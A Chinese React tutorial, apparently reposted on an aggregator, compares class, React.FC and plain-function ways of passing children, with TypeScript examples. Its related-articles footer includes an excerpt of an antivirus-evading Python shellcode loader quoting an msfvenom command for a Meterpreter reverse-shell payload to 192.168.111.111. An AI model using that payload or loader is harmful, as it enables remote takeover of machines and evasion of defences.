React 组件传 children 的各种方案

自定义组件的时候往往需要传 children,由于写法比较多样,我就总结了一下。

方案列表

  • 1. 类组件
    • 1.1 类组件,不使用解构
    • 1.2 类组件,使用解构
  • 2. 函数组件
    • 2.1 函数组件,不使用解构
    • 2.2 函数组件,外部解构
    • 2.3 函数组件,内部解构
  • 3. 普通函数
    • 3.1 普通函数,内部解构
    • 3.2 普通函数,外部解构
    • 3.3 普通函数,外部解构,不使用自定义Type
    • 3.4 普通函数,不使用解构,不使用自定义Type
  • 调用及展示


要自定义的组件是这样的:

在这里插入图片描述

其中包含一个 title 和一个 children

定义一个后面要用到的 Props:

/** 定义属性对象* - title: 标题* - children: 子组件*/
type Props = {title: string;children?: React.ReactNode;
};

1. 类组件

1.1 类组件,不使用解构

class ClassComponent1 extends Component<Props> {render(): ReactNode {return (<div style={{ backgroundColor: 'red' }}><h2>{this.props.title}</h2>{this.props.children}</div>);}
}

1.2 类组件,使用解构

class ClassComponent2 extends Component<Props> {render(): ReactNode {// 解构赋值const { title, children } = this.props;return (<div style={{ backgroundColor: 'red' }}><h2>{title}</h2>{children}</div>);}
}

2. 函数组件

2.1 函数组件,不使用解构

const FunctionComponent1: React.FC<Props> = (props) => {return (<div style={{ backgroundColor: 'orange' }}><h2>{props.title}</h2>{props.children}</div>);
};

2.2 函数组件,外部解构

const FunctionComponent2: React.FC<Props> = ({ title, children }) => {return (<div style={{ backgroundColor: 'orange' }}><h2>{title}</h2>{children}</div>);
};

2.3 函数组件,内部解构

const FunctionComponent3: React.FC<Props> = (props) => {// 解构赋值const { title, children } = props;return (<div style={{ backgroundColor: 'orange' }}><h2>{title}</h2>{children}</div>);
};

3. 普通函数

3.1 普通函数,内部解构

function NormalFunction1(props: Props) {// 解构赋值const { title, children } = props;return (<div style={{ backgroundColor: 'yellow' }}><h2>{title}</h2>{children}</div>);
}

3.2 普通函数,外部解构

function NormalFunction2({ title, children }: Props) {return (<div style={{ backgroundColor: 'yellow' }}><h2>{title}</h2>{children}</div>);
}

3.3 普通函数,外部解构,不使用自定义Type

function NormalFunction3({title,children,
}: {title: string;children?: React.ReactNode;
}) {return (<div style={{ backgroundColor: 'yellow' }}><h2>{title}</h2>{children}</div>);
}

3.4 普通函数,不使用解构,不使用自定义Type

function NormalFunction4(props: { title: string; children?: React.ReactNode }) {return (<div style={{ backgroundColor: 'yellow' }}><h2>{props.title}</h2>{props.children}</div>);
}

调用及展示

export default class ChildrenPage extends Component {render() {return (<div style={{ padding: '20px' }}><h1>组件传children</h1><ClassComponent1 title="类组件,不使用解构"><p>这里是children</p></ClassComponent1><ClassComponent2 title="类组件,使用解构"><p>这里是children</p></ClassComponent2><FunctionComponent1 title="函数组件,不使用解构"><p>这是里children</p></FunctionComponent1><FunctionComponent2 title="函数组件,外部解构"><p>这是里children</p></FunctionComponent2><FunctionComponent3 title="函数组件,内部解构"><p>这是里children</p></FunctionComponent3><NormalFunction1 title="普通函数,内部解构"><p>这里是children</p></NormalFunction1><NormalFunction2 title="普通函数,外部解构"><p>这里是children</p></NormalFunction2><NormalFunction3 title="普通函数,外部解构,不使用自定义Type"><p>这里是children</p></NormalFunction3><NormalFunction4 title="普通函数,不使用解构,不使用自定义Type"><p>这里是children</p></NormalFunction4></div>);}
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102927.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker 登录本地仓库harbor问题

1、报错如下&#xff1a; 添加目标harbor 仓库的hosts vim /etc/hosts 2、报错如下&#xff1a; 添加修改/etc/docker/daemon.json文件中的 insecure-registries vim /etc/docker/daemon.json 然后 systemctl daemon-reload systemctl restart docker再次登录

HQChart实战教程66-动态调整HQChart布局大小

HQChart实战教程66-动态调整HQChart布局大小 需求小程序h5AppHQChart插件源码地址 需求 在不销毁hqchart实例的情况下&#xff0c;动态调整K线图或分时图的大小&#xff0c; 如下图&#xff0c;把图1的K线图大小调整为图2的大小 图1 图2 小程序 调整画布大小&#xff0c;并…

echrat 的tooltip轮播播放高亮

在src目录下建立utils文件建立tooltip-auto-show-vue.js export function autoHover(myChart, option, num, time) {var defaultData {// 设置默认值time: 2000,num: 100}if (!time) {time defaultData.time}if (!num) {num defaultData.num}var count 0var timeTicket n…

(c语言进阶)指针的进阶

一.字符指针 1.一般应用 &#xff08;1&#xff09;%c的应用 &#xff08;2&#xff09;%s的应用 字符指针没有权限通过解引用去改变指针指向的值 2.笔试题 题目&#xff1a;判断输出结果 int main() { const char* p1 "abcdef"; const char* p2 "…

前端开发工具vscode

一、下载安装 https://code.visualstudio.com/ 二、安装插件 三、使用 ①、创建一个空目录 ②、利用vscode工具打开该目录 ③、将该目录设置为工作区 在工作区中添加文件&#xff0c;还可以进行浏览器访问&#xff08;提前安装了Live Server插件&#xff09; 为工具…

Dubbo-SPI机制

1、Java的SPI机制 SPI的全称是Service Provider Interface&#xff0c;是JDK内置的动态加载实现扩展点的机制&#xff0c;通过SPI可以动态获取接口的实现类&#xff0c;属于一种设计理念。 系统设计的各个抽象&#xff0c;往往有很多不同的实现方案&#xff0c;在面向的对象的…

黄金票据与白银票据

文章目录 黄金票据与白银票据1. 背景2. 具体实现2.1 Kerberos协议认证流程 3. 黄金票据3.1 条件3.2 适用场景3.3 利用方式 4. 白银票据4.1 条件4.2 适用场景4.3 利用方式 5. 金票和银票的区别5.1 获取的权限不同5.2 认证流程不同5.3 加密方式不同 6. 经典面试题6.1 什么是黄金票…

018-第三代软件开发-整体介绍

第三代软件开发-整体介绍 文章目录 第三代软件开发-整体介绍项目介绍整体介绍Qt 属性系统QML 最新软件技术框架 关键字&#xff1a; Qt、 Qml、 属性、 Qml 软件架构 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object …

97 # session

koa 里的 cookie 用法 koa 里内置了设置 cookie 的方法 npm init -y npm i koa koa/router用法&#xff1a; const Koa require("koa"); const Router require("koa/router"); const crypto require("crypto");const app new Koa(); let …

【ESP32 + Edge Impulse平台】模拟多传感器数据融合实验测试

本文章主要记录利用 【ESP32 + Edge Impulse平台】完成数据集的采集、训练、测试、模型部署和运行,实现多传感器数据的融合 目录 1. 实验描述1.1【场景1固件】1.2【场景2固件】2.数据集采集2.1 数据集12.1 数据集23.数据集训练3.1 生成数据特征3.2 选用分类器训练数据集3.3 模…

【MySQL】内置函数——数学函数+其他函数

文章目录 一. 数字函数二. 其他函数 一. 数字函数 函数名称描述abs()绝对值函数bin()十进制转换二进制hex()转换成十六进制conv(number,from_base,to_base)将number从from_base转换成to_base进制ceiling()向上取整floor()向下取整format(number,decimal_places)格式化&#xf…

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION

3D 生成重建004-DreamFusion and SJC &#xff1a;TEXT-TO-3D USING 2D DIFFUSION 文章目录 0 论文工作1 论文方法1.1论文方法1.2 CFG1.3影响1.4 SJC 2 效果 0 论文工作 对于生成任务&#xff0c;我们是需要有一个数据样本&#xff0c;让模型去学习数据分布 p ( x ) p(x) p(x…

易点云CFO向征:CFO不能只讲故事,价值创造才是核心

作者 | 曾响铃 文 | 响铃说 在今年6月初&#xff0c;也是易点云上市6天后&#xff0c;《巴伦周刊》正式启动评价“2023港美上市中国企业CFO精英100”的活动。 时间来到9月&#xff0c;评价揭秘&#xff0c;易点云CFO向征成功入选&#xff0c;被评为“年度最具成长潜力CFO”…

windows创建服务:更新服务信息乱码问题(ChangeServiceConfig)

因为小项目需要创建windows服务&#xff0c;安装微软官方示例一切都挺顺利&#xff0c;代码运行后发现配置的信息在系统里显示乱码。打开注册表发现的确是乱码。这就排除软件读取得问题&#xff0c;而是调用ChangeServiceConfig系统函数写入时就发生了乱码。让我在网上查找了一…

Linux Namespace:轻量级虚拟化技术简介

Linux Namespace&#xff1a;轻量级虚拟化技术简介 当我们谈论虚拟化技术时&#xff0c;可能首先想到的是像 VMware 或 VirtualBox 这样的全虚拟化解决方案&#xff0c;或者是像 Xen 或 KVM 这样的硬件辅助虚拟化技术。然而&#xff0c;Linux 系统中内置了一种轻量级的虚拟化技…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

【Go】gin框架生成压缩包与下载文件

在没有加入下面这串代码之前&#xff0c;下载的压缩包一直为空。遂debug了两个小时。。。 可以在服务端本地创建压缩包。单独将服务端本地的压缩包发送给客户端也是没问题的。但是两个合起来&#xff0c;客户端接收到的压缩包内容就为空了。 期间也尝试了 zipFile.Close() zipW…

解决Springboot集成RabbitMQ不自动生成队列的问题

1.RabbitMQ消息的消费端服务 RabbitMQ懒加载模式&#xff0c; 需要配置消费者监听才会创建 RabbitListener(queues "test.queue")另外一种方式(若Mq中无相应名称的队列,会自动创建Queue),改为如下 RabbitListener(queuesToDeclare { Queue(value "test.queu…

MAX17058_MAX17059 STM32 iic 驱动设计

本文采用资源下载链接&#xff0c;含完整工程代码 MAX17058-MAX17059STM32iic驱动设计内含有代码、详细设计过程文档&#xff0c;实际项目中使用代码&#xff0c;稳定可靠资源-CSDN文库 简介 MAX17058/MAX17059 IC是微小的锂离子(Li )在手持和便携式设备的电池电量计。MAX170…